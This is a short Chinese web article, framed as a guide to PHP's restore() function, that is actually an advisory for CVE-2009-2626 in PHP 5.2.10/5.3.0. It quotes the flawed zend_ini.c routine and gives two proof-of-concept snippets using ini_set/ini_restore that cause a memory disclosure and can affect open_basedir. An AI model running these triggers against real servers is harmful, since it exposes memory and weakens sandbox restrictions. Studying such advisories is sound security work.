PHP作为一种功能强大的HTML嵌入式语言受到广泛的运用,尤其适合于WEB开发中。下面我们将为大家详细介绍有关PHP函数restore()的相关用法。#t#
影响版本:
PHP PHP 5.3.0
PHP PHP 5.2.10漏洞描述:
BUGTRAQ ID: 36009
CVE ID: CVE-2009-2626
在使用PHP函数restore()重置PHP配置环境时PG()类中的变量会显示任意部分的内存。如果要利用这个漏洞,攻击者必须要通过ini_set()函数声明变量。
- ---zend_ini.c---
- static int zend_restore_ini_entry_cb
(zend_ini_entry *ini_entry, int stage- TSRMLS_DC) /* {{{ */
- {
- if (ini_entry->modified) {
- if (ini_entry->on_modify) {
- zend_try {
- /* even if on_modify bails out, we
have to continue on with restoring,- since there can be allocated variables
that would be freed on MM- shutdown
- and would lead to memory corruption
later ini entry is modified again- */
- ini_entry->on_modify(ini_entry,
ini_entry->orig_value,- ini_entry->orig_value_length,
ini_entry->mh_arg1, ini_entry->mh_arg2,- ini_entry->mh_arg3, stage TSRMLS_CC);
- } zend_end_try();
- }
- if (ini_entry->value != ini_entry
->orig_value) {- efree(ini_entry->value);
- }
- ini_entry->value = ini_entry->
orig_value;- ini_entry->value_length =
ini_entry->orig_value_length;- ini_entry->modified = 0;
- ini_entry->orig_value = NULL;
- ini_entry->orig_value_length = 0;
- if (ini_entry->modifiable >= (1 << 3)) {
- ini_entry->modifiable >>= 3;
- }
- }
- return 0;
- }
- ---zend_ini.c---
PHP函数restore()所修改的标记会被重置。由于没有检查ini_entry->on_modify()的值,PG()会超出内存范围。
PHP函数restore()测试方法:
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
- < ?php
- ini_set("session.save_path",
"0123456789ABCDEF");- ini_restore("session.save_path");
- session_start();
- ?>
- < ?php
- ini_set("open_basedir", "A");
- ini_restore("open_basedir");
- ini_get("open_basedir");
- include("B");
- ?>
以上就是PHP函数restore()的相关使用方法。